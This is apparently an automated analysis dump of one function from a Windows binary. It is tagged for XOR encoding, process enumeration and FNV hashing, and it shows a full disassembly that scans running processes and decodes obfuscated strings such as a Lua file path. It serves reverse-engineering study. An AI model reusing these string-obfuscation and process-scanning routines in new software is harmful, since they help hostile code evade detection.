Function at 0x140072450
Capabilities:
Encode data using xor
Enumerate processes
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x498]
sub rsp, 0x560
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
xor r13d, r13d
mov r14d, r13d
mov dword [rbp + 0x4a0], r13d
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400734be
mov dword [rbp + 0x2f0], 0x130
lea rdx, [rbp + 0x2f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400734b5
mov esi, 0xc28d
mov r12d, 0x3d2f
movdqa xmm7, xmmword [0x140108e60]
movdqa xmm8, xmmword [0x140108e50]
movdqa xmm9, xmmword [0x140108e40]
movdqa xmm6, xmmword [0x140108e30]
movabs r8, 0xcbf29ce484222325
movabs rdx, 0x100000001b3
movzx ecx, byte [rbp + 0x2f8]
xor rcx, r8
imul rcx, rdx
movzx eax, byte [rbp + 0x2f9]
xor rcx, rax
imul rcx, rdx
movzx eax, byte [rbp + 0x2fa]
xor rcx, rax
imul rcx, rdx
movzx eax, byte [rbp + 0x2fb]
xor rcx, rax
imul rdx, rcx
and rdx, qword [0x1401b7400]
add rdx, rdx
mov rax, qword [0x1401b73e8]
mov rcx, qword [rax + rdx*8 + 8]
mov r8, qword [0x1401b73d8]
cmp rcx, r8
je 0x140072585
mov rdx, qword [rax + rdx*8]
mov eax, dword [rbp + 0x2f8]
cmp eax, dword [rcx + 0x10]
je 0x140072588
cmp rcx, rdx
je 0x140072585
mov rcx, qword [rcx + 8]
cmp eax, dword [rcx + 0x10]
jne 0x140072575
jmp 0x140072588
mov rcx, r13
mov rax, r8
test rcx, rcx
cmovne rax, rcx
cmp rax, r8
jne 0x14007349d
lea r8, [rbp + 0x2f8]
lea rdx, [rbp + 0x140]
call fcn.14007ba50
mov r8d, dword [rbp + 0x2f8]
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14007349d
mov dword [rbp + 0x4a0], r13d
lea rdx, [rbp + 0x4a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x14007349d
cmp dword [rbp + 0x4a0], 0
jne 0x14007349d
mov edx, dword [rbp + 0x2f8]
lea rcx, [rbp + 0x110]
call fcn.140072180
nop
cmp qword [rbp + 0x120], 0
je 0x140073491
mov dword [rsp + 0x38], 0xc2b6c28d
mov dword [rsp + 0x3c], 0xc2b0c2e0
mov dword [rsp + 0x40], 0xc2b9c2bd
mov dword [rsp + 0x44], 0xc2b3c2b8
mov dword [rsp + 0x48], 0xc2bec2f7
mov dword [rsp + 0x4c], 0xc2b0c2b7
mov word [rsp + 0x50], r13w
mov byte [rsp + 0x52], 1
movd xmm1, dword [rsp + 0x38]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm6
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x38], xmm1
movd xmm1, dword [rsp + 0x3c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm9
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x3c], xmm1
movd xmm1, dword [rsp + 0x40]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm8
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x40], xmm1
movd xmm1, dword [rsp + 0x44]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm7
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x44], xmm1
mov ecx, 8
nop dword [rax + rax]
movzx eax, cx
sub ax, r12w
xor word [rsp + rcx*2 + 0x38], ax
inc rcx
cmp rcx, 0xc
jb 0x140072700
mov byte [rsp + 0x52], 0
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x170]
call fcn.14007b8f0
or r14d, 0x300000
mov dword [rbp - 0x54], 0xc2b6c28d
mov dword [rbp - 0x50], 0xc2b0c2e0
mov dword [rbp - 0x4c], 0xc2b9c2bd
mov dword [rbp - 0x48], 0xc2b3c2b8
mov dword [rbp - 0x44], 0xc2eec2ef
mov dword [rbp - 0x40], 0xc2b8c2f5
mov dword [rbp - 0x3c], 0xc2b2c2b1
mov word [rbp - 0x38], r13w
mov byte [rbp - 0x36], 1
movd xmm1, dword [rbp - 0x54]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm6
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x54], xmm1
movd xmm2, dword [rbp - 0x50]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm9
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x50], xmm1
movd xmm2, dword [rbp - 0x4c]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm8
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x4c], xmm1
movd xmm2, dword [rbp - 0x48]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm7
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x48], xmm1
mov ecx, 8
movzx eax, cx
sub ax, r12w
xor word [rbp + rcx*2 - 0x54], ax
inc rcx
cmp rcx, 0xe
jb 0x140072800
mov byte [rbp - 0x36], 0
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x190]
call fcn.14007b8f0
nop
mov dword [rbp - 0x14], 0xc2b1c28d
mov dword [rbp - 0x10], 0xc2b0c2b6
mov dword [rbp - 0xc], 0xc2b2c2e6
mov dword [rbp - 8], 0xc2b0c2ee
mov dword [rbp - 4], 0xc2b5c2b6
mov dword [rbp], 0xc2f2c2b0
mov dword [rbp + 4], 0xc2b2c2b9
mov dword [rbp + 8], 0xc2b3
mov byte [rbp + 0xc], 1
movd xmm1, dword [rbp - 0x14]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm6
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x14], xmm1
movd xmm2, dword [rbp - 0x10]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm9
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x10], xmm1
movd xmm2, dword [rbp - 0xc]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm8
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0xc], xmm1
movd xmm2, dword [rbp - 8]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm7
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 8], xmm1
mov ecx, 8
nop dword [rax]
movzx eax, cx
sub ax, r12w
xor word [rbp + rcx*2 - 0x14], ax
inc rcx
cmp rcx, 0xf
jb 0x140072900
mov byte [rbp + 0xc], 0
lea r8, [rbp + 0xa]
lea rdx, [rbp - 0x14]
lea rcx, [rbp + 0x1b0]
call fcn.14007b8f0
nop
mov dword [rbp - 0x34], 0xc2bec28d
mov dword [rbp - 0x30], 0xc2b6c2ba
mov dword [rbp - 0x2c], 0xc2a6c2bc
mov dword [rbp - 0x28], 0xc2f5c2a3
mov dword [rbp - 0x24], 0xc2e8c2ea
mov dword [rbp - 0x20], 0xc2b8c2f5
mov dword [rbp - 0x1c], 0xc2b2c2b1
mov word [rbp - 0x18], r13w
mov byte [rbp - 0x16], 1
movd xmm1, dword [rbp - 0x34]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm6
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x34], xmm1
movd xmm2, dword [rbp - 0x30]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm9
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x30], xmm1
movd xmm2, dword [rbp - 0x2c]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm8
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x2c], xmm1
movd xmm2, dword [rbp - 0x28]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm7
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x28], xmm1
mov ecx, 8
nop word [rax + rax]
movzx eax, cx
sub ax, r12w
xor word [rbp + rcx*2 - 0x34], ax
inc rcx
cmp rcx, 0xe
jb 0x140072a00
mov byte [rbp - 0x16], 0
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x34]
lea rcx, [rbp + 0x1d0]
call fcn.14007b8f0
nop
mov dword [rbp + 0x34], 0xc2bec28d
mov dword [rbp + 0x38], 0xc2b6c2ba
mov dword [rbp + 0x3c], 0xc2bfc2b8
mov dword [rbp + 0x40], 0xc2b5c2bc
mov dword [rbp + 0x44], 0xc2bec2b6
mov dword [rbp + 0x48], 0xc2eec2e8
mov dword [rbp + 0x4c], 0xc2bac2f3
mov dword [rbp + 0x50], 0xc28cc2b3
mov word [rbp + 0x54], r13w
mov byte [rbp + 0x56], 1
mov edx, 0xc2d8
lea r8, [rbp + 0x38]
nop dword [rax + rax]
lea rax, [rdx - 0xc2d8]
movq xmm2, rax
punpcklqdq xmm2, xmm2
paddq xmm2, xmm6
movd xmm1, dword [r8 - 4]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 - 4], xmm1
lea rax, [rdx - 4]
lea rcx, [rdx - 5]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
movd xmm1, dword [r8]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8], xmm1
lea rax, [rdx - 2]
lea rcx, [rdx - 3]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
movd xmm1, dword [r8 + 4]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 4], xmm1
lea rax, [rdx - 1]
movq xmm0, rdx
movq xmm2, rax
punpcklqdq xmm2, xmm0
movd xmm1, dword [r8 + 8]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 8], xmm1
add rdx, 8
lea r8, [r8 + 0x10]
lea rax, [rdx - 0xc2d8]
cmp rax, 0x10
jb 0x140072a80
mov byte [rbp + 0x56], 0
lea r8, [rbp + 0x54]
lea rdx, [rbp + 0x34]
lea rcx, [rbp + 0x1f0]
call fcn.14007b8f0
nop
mov dword [rbp + 0x8c], 0x61
mov dword [rbp + 0x7c], 0x6d005c
mov dword [rbp + 0x80], 0x690061
mov dword [rbp + 0x84], 0x2e006e
mov dword [rbp + 0x88], 0x75006c
mov byte [rbp + 0x90], 0
lea r8, [rbp + 0x8e]
lea rdx, [rbp + 0x7c]
lea rcx, [rbp + 0x210]
call fcn.14007b8f0
nop
mov dword [rsp + 0x20], 0xc2b1c28d
mov dword [rsp + 0x24], 0xc2b5c2bf
mov dword [rsp + 0x28], 0xc2a5c2a6
mov dword [rsp + 0x2c], 0xc2b4c2f9
mov dword [rsp + 0x30], 0xc2bbc2ac
mov word [rsp + 0x34], r13w
mov byte [rsp + 0x36], 1
movd xmm1, dword [rsp + 0x20]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm6
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x20], xmm1
movd xmm2, dword [rsp + 0x24]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm9
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x24], xmm1
movd xmm2, dword [rsp + 0x28]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm8
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x28], xmm1
movd xmm2, dword [rsp + 0x2c]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm7
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x2c], xmm1
mov ecx, 8
nop word [rax + rax]
movzx eax, cx
sub ax, r12w
xor word [rsp + rcx*2 + 0x20], ax
inc rcx
cmp rcx, 0xa
jb 0x140072cb0
mov byte [rsp + 0x36], 0
lea r8, [rsp + 0x34]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x230]
call fcn.14007b8f0
nop
mov dword [rbp + 0xe], 0xc2b1c28d
mov dword [rbp + 0x12], 0xc2b5c2bf
mov dword [rbp + 0x16], 0xc2a5c2a6
mov dword [rbp + 0x1a], 0xc2aac2a0
mov dword [rbp + 0x1e], 0xc2aac2b8
mov dword [rbp + 0x22], 0xc2b9c2ab
mov dword [rbp + 0x26], 0xc2f0c2af
mov dword [rbp + 0x2a], 0xc295c2b3
mov dword [rbp + 0x2e], 0xc280
mov byte [rbp + 0x32], 1
mov rdx, r13
mov ebx, 0xc2e8
mov r8d, 0xc2d8
movq xmm2, rdx
punpcklqdq xmm2, xmm2
paddq xmm2, xmm6
movd xmm1, dword [rbp + rdx*2 + 0xe]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rdx*2 + 0xe], xmm1
lea rax, [r8 - 4]
lea rcx, [r8 - 5]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
movd xmm1, dword [rbp + rdx*2 + 0x12]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rdx*2 + 0x12], xmm1
lea rax, [r8 - 2]
lea rcx, [r8 - 3]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
movd xmm1, dword [rbp + rdx*2 + 0x16]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rdx*2 + 0x16], xmm1
lea rax, [r8 - 1]
movq xmm0, r8
movq xmm2, rax
punpcklqdq xmm2, xmm0
movd xmm1, dword [rbp + rdx*2 + 0x1a]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rdx*2 + 0x1a], xmm1
add rdx, 8
add r8, 8
cmp r8, rbx
jb 0x140072d32
cmp rdx, 0x11
jae 0x140072e45
nop dword [rax]
nop dword [rax + rax]
movzx eax, dx
sub ax, r12w
xor word [rbp + rdx*2 + 0xe], ax
inc rdx
cmp rdx, 0x11
jb 0x140072e30
mov byte [rbp + 0x32], 0
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0xe]
lea rcx, [rbp + 0x250]
call fcn.14007b8f0
nop
mov dword [rsp + 0x54], 0xc2b6c28d
mov dword [rsp + 0x58], 0xc2b2c2b6
mov dword [rsp + 0x5c], 0xc2b8c2bc
mov dword [rsp + 0x60], 0xc2abc2b2
mov dword [rsp + 0x64], 0xc2b6c2f7
mov dword [rsp + 0x68], 0xc2bdc2ae
mov word [rsp + 0x6c], r13w
mov byte [rsp + 0x6e], 1
movd xmm1, dword [rsp + 0x54]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm6
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x54], xmm1
movd xmm2, dword [rsp + 0x58]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm9
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x58], xmm1
movd xmm2, dword [rsp + 0x5c]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm8
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x5c], xmm1
movd xmm2, dword [rsp + 0x60]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm7
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x60], xmm1
mov ecx, 8
movzx eax, cx
sub ax, r12w
xor word [rsp + rcx*2 + 0x54], ax
inc rcx
cmp rcx, 0xc
jb 0x140072f30
mov byte [rsp + 0x6e], 0
lea r8, [rsp + 0x6c]
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0x270]
call fcn.14007b8f0
nop
mov dword [rbp + 0x58], 0xc291c28d
mov dword [rbp + 0x5c], 0xc2b1c2bb
mov dword [rbp + 0x60], 0xc2a2c2b4
mov dword [rbp + 0x64], 0xc2b6c292
mov dword [rbp + 0x68], 0xc2b3c2be
mov dword [rbp + 0x6c], 0xc2b9c2b5
mov dword [rbp + 0x70], 0xc2bdc2f3
mov dword [rbp + 0x74], 0xc28dc2b7
mov word [rbp + 0x78], r13w
mov byte [rbp + 0x7a], 1
mov edx, 0xc2d8
lea r8, [rbp + 0x5c]
nop dword [rax + rax]
lea rax, [rdx - 0xc2d8]
movq xmm2, rax
punpcklqdq xmm2, xmm2
paddq xmm2, xmm6
movd xmm1, dword [r8 - 4]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 - 4], xmm1
lea rax, [rdx - 4]
lea rcx, [rdx - 5]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
movd xmm1, dword [r8]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8], xmm1
lea rax, [rdx - 2]
lea rcx, [rdx - 3]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
movd xmm1, dword [r8 + 4]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 4], xmm1
lea rax, [rdx - 1]
movq xmm0, rdx
movq xmm2, rax
punpcklqdq xmm2, xmm0
movd xmm1, dword [r8 + 8]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 8], xmm1
add rdx, 8
lea r8, [r8 + 0x10]
lea rax, [rdx - 0xc2d8]
cmp rax, 0x10
jb 0x140072fb0
mov byte [rbp + 0x7a], 0
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x290]
call fcn.14007b8f0
nop
mov dword [rsp + 0x70], 0xc2bec28d
mov dword [rsp + 0x74], 0xc2b5c2a6
mov dword [rsp + 0x78], 0xc2e5c2e0
mov dword [rsp + 0x7c], 0xc2eec2fa
mov dword [rbp - 0x80], 0xc2f4c2ed
mov dword [rbp - 0x7c], 0xc2b0c2bf
mov dword [rbp - 0x78], 0xc2b1
mov byte [rbp - 0x74], 1
movd xmm1, dword [rsp + 0x70]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm6
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x70], xmm1
movd xmm2, dword [rsp + 0x74]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm9
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x74], xmm1
movd xmm2, dword [rsp + 0x78]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm8
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x78], xmm1
movd xmm2, dword [rsp + 0x7c]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm7
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x7c], xmm1
mov ecx, 8
nop dword [rax]
nop word [rax + rax]
movzx eax, cx
sub ax, r12w
xor word [rsp + rcx*2 + 0x70], ax
inc rcx
cmp rcx, 0xd
jb 0x1400731a0
mov byte [rbp - 0x74], 0
lea r8, [rbp - 0x76]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x2b0]
call fcn.14007b8f0
nop
mov dword [rbp - 0x72], 0xc2bec28d
mov dword [rbp - 0x6e], 0xc2b5c2a6
mov dword [rbp - 0x6a], 0xc2e5c2e0
mov dword [rbp - 0x66], 0xc2ebc2fa
mov dword [rbp - 0x62], 0xc2f4c2eb
mov dword [rbp - 0x5e], 0xc2b0c2bf
mov dword [rbp - 0x5a], 0xc2b1
mov byte [rbp - 0x56], 1
movd xmm1, dword [rbp - 0x72]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm1, xmm6
pshufd xmm0, xmm1, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x72], xmm1
movd xmm2, dword [rbp - 0x6e]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm9
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x6e], xmm1
movd xmm2, dword [rbp - 0x6a]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm8
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x6a], xmm1
movd xmm2, dword [rbp - 0x66]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
xorps xmm2, xmm7
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x66], xmm1
mov ecx, 8
nop dword [rax]
nop word [rax + rax]
movzx eax, cx
sub ax, r12w
xor word [rbp + rcx*2 - 0x72], ax
inc rcx
cmp rcx, 0xd
jb 0x1400732a0
mov byte [rbp - 0x56], 0
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x72]
lea rcx, [rbp + 0x2d0]
call fcn.14007b8f0
or r14d, 0x3cffffc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r13
mov ecx, 0x180
call fcn.1400db6fc
mov rbx, rax
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], rax
lea rcx, [rax + 0x180]
mov qword [rbp + 0xa8], rcx
lea rax, [rbp + 0x98]
mov qword [rbp + 0x4a8], rax
lea rdi, [rbp + 0x170]
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], rbx
lea rax, [rbp + 0x98]
mov qword [rbp + 0xc0], rax
mov rdx, rdi
mov rcx, rbx
call fcn.140077d70
add rbx, 0x20
mov qword [rbp + 0xb8], rbx
add rdi, 0x20
lea rax, [rbp + 0x2f0]
cmp rdi, rax
jne 0x140073340
mov qword [rbp + 0xa0], rbx
lea r9, [fcn.14004ad60]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, ntohs
lea rcx, [rbp + 0x170]
call fcn.1400db738
mov rbx, qword [rbp + 0x98]
mov rsi, qword [rbp + 0xa0]
cmp rbx, rsi
je 0x140073480
mov r8, rbx
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x150]
call fcn.14007b780
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x1400733c7
mov rax, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r13
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.14007c1e0
or r14d, 3
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x130]
call fcn.14004b440
movsd xmm0, qword [rax]
movsd qword [rbp + 0x100], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xf0], ecx
lea rax, [0x1401b5b88]
mov qword [rbp + 0xf8], rax
movaps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xb0], xmm0
mov eax, dword [rbp + 0x100]
test eax, eax
je 0x14007344a
cmp eax, 1
setne dil
jmp 0x140073455
xor dil, dil
test ecx, ecx
jne 0x1400734f3
lea rcx, [rbp + 0xd0]
call fcn.140079a10
nop
lea rcx, [rbp + 0x150]
call fcn.140079a10
test dil, dil
jne 0x1400734ed
add rbx, 0x20
cmp rbx, rsi
jne 0x1400733a2
lea rcx, [rbp + 0x98]
call fcn.1400790b0
mov esi, 0xc28d
lea rcx, [rbp + 0x110]
call fcn.140079a10
lea rdx, [rbp + 0x2f0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400724f8
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140072120
nop
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0xb0]
call fcn.14004b390
int3